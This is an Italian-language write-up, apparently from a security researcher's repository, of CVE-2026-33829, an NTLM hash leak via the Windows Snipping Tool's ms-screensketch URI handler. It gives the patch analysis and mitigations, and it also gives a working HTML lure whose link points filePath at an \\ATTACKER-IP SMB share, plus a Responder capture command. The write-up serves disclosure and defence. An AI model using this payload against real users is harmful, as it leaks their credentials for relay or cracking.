rahultb-sec/cve-2026-33829-writeupCaso di studio di vulnerabilità: CVE-2026-33829 (Coercizione NTLM dello Strumento di cattura di Windows)
Caso di studio di vulnerabilità: CVE-2026-33829 (Coercizione NTLM nello Strumento di cattura di Windows)
Questa analisi descrive la replica tecnica di CVE-2026-33829, una vulnerabilità di divulgazione di informazioni presente nell'architettura applicativa del moderno Strumento di cattura di Windows. Abusando di un parametro di input non validato all'interno di un handler di protocollo URI personalizzato, un host remoto può indurre una macchina Windows non aggiornata ad avviare una connessione SMB in uscita, con conseguente divulgazione degli hash di autenticazione Net-NTLMv2 sulla rete.
Schema URI: Windows utilizza protocolli personalizzati (come ms-screensketch:, ms-settings: , file:) per consentire ai browser web di comunicare con le applicazioni desktop.
La causa principale di questa vulnerabilità risiede nello schema URI (ms-screensketch:edit). Quando una vittima fa clic su un link dannoso contenente (ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png) e approva la richiesta "Apri Strumento di cattura", il sistema operativo richiama SnippingTool.exe e passa il parametro filePath dannoso, ad esempio (ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png), senza una corretta validazione.
Dal momento che è presente un parametro :edit?, lo strumento di cattura prova a modificare il file dal percorso fornito (filePath=\\ATTACKER-IP\\share\evil.png). Ciò comporta l'avvio di una connessione di rete tramite Server Message Block (SMB). Poiché SMB è progettato per verificare chi richiede il file, Windows tenta automaticamente di autenticare l'utente. Invia l'hash challenge-response Net-NTLMv2 dell'utente attualmente connesso al server dell'attaccante. L'intero processo avviene silenziosamente in background, senza alcun avviso o prompt visibile per l'utente.
L'attaccante cattura i dati di autenticazione challenge-response Net-NTLMv2 della vittima. Una volta in possesso dell'hash Net-NTLM della vittima, può eseguire un attacco NTLM relay per impersonare la vittima e accedere alle risorse di rete interne o autenticarsi su altri servizi dell'organizzazione, oppure portare l'hash catturato offline e usare attacchi di brute-force o dizionario per scoprire la password Windows in chiaro della vittima.
Per attivare l'handler, è stato distribuito un semplice payload HTML per simulare un vettore di phishing o di compromissione intranet.
<!DOCTYPE html>
<html>
<body>
<button onclick="window.location.href='ms-screensketch:edit?&filePath=\\ATTACKER-IP\share\test.png&isTemporary=false&saved=true&source=Toast'">Launch Verification</button>
</body>
</html>
Per catturare l'hash, è stata distribuita un'istanza isolata di Kali Linux con in esecuzione Responder.
sudo responder -I eth0 -v
Facendo clic sul pulsante nell'ambiente Windows di destinazione, l'applicazione ha aperto il contesto Edit e ha instradato immediatamente una richiesta SMB verso l'host in ascolto. La sequenza challenge-response di autenticazione è stata completata senza problemi, catturando la struttura dell'hash Net-NTLMv2 per il contesto utente di destinazione.
Il pacchetto NTLMSSP_NEGOTIATE mostra il sistema vittima che avvia l'autenticazione NTLM durante la configurazione della sessione SMB, dopo aver risolto il percorso UNC controllato dall'attaccante.
Il pacchetto NTLMSSP_AUTH contiene i dati di autenticazione challenge-response Net-NTLMv2 trasmessi dal sistema vittima dopo il completamento della fase di challenge.
Da qui, l'attaccante cattura l'hash NTLMv2 trasmesso.
I dati challenge-response Net-NTLMv2 catturati possono essere sfruttati in attacchi NTLM relay o sottoposti a tentativi di cracking offline della password, a seconda dell'ambiente di destinazione.
In che modo Windows ha corretto il problema?
Prima della patch, la funzione Edit dello Strumento di cattura prendeva la stringa contenuta in filePath e la passava direttamente alle API di apertura file.
Il comportamento osservato dopo la patch suggerisce che Microsoft abbia introdotto una logica di validazione che impedisce ai valori filePath basati su UNC/rete di raggiungere le API di gestione file sottostanti. Ora, quando si passa una stringa a filePath, l'applicazione esegue un controllo di integrità prima di consegnarla al sistema operativo:
Controlla se la stringa inizia con indicatori di unità locale (come C:\ o D:) o con variabili di sistema locali standard e sicure.
Se l'applicazione rileva un prefisso Universal Naming Convention (UNC) (come \ o \\), oppure un pattern di indirizzo IP esterno, il ciclo di validazione lo segnala come argomento illegale, genera un'eccezione e termina immediatamente il processo di caricamento del file.
Poiché il codice si ferma prima di eseguire le istruzioni Win32 di apertura file, il kernel di Windows non riceve mai la richiesta e nessun pacchetto SMB viene inviato.
Se si riprova dopo aver applicato l'aggiornamento di sicurezza, l'applicazione richiama ancora l'handler ms-screensketch:, ma i valori filePath remoti non vengono più risolti tramite il flusso di lavoro Edit.
Assicurarsi che tutti gli endpoint Windows siano aggiornati oltre la baseline di patch di sicurezza del 14 aprile 2026, che introduce stringenti limiti di validazione degli input nell'handler dell'applicazione.
Applicare regole firewall di uscita rigorose che blocchino il traffico TCP in uscita sulla porta 445 verso reti esterne non autorizzate, mitigando il rischio di divulgazione delle credenziali.
Configurare gli oggetti Criteri di gruppo (GPO) per limitare il traffico NTLM in uscita verso i server remoti, imponendo protocolli alternativi sicuri come Kerberos dove applicabile.
La post-analisi di CVE-2026-33829 dimostra come i flussi di lavoro applicativi fidati e i comportamenti di autenticazione legacy possano esporre involontariamente materiale di credenziali attraverso interazioni di rete in uscita. Sebbene la vulnerabilità non fornisca esecuzione diretta di codice, rafforza l'importanza di limitare l'autenticazione NTLM non necessaria, monitorare il traffico SMB in uscita e validare la gestione delle risorse guidate da URI negli ambienti Windows.
Disclaimer: questa analisi è stata redatta esclusivamente a scopo educativo, di ricerca difensiva e di validazione in laboratorio. Tutti i test sono stati eseguiti in un ambiente sandbox completamente isolato.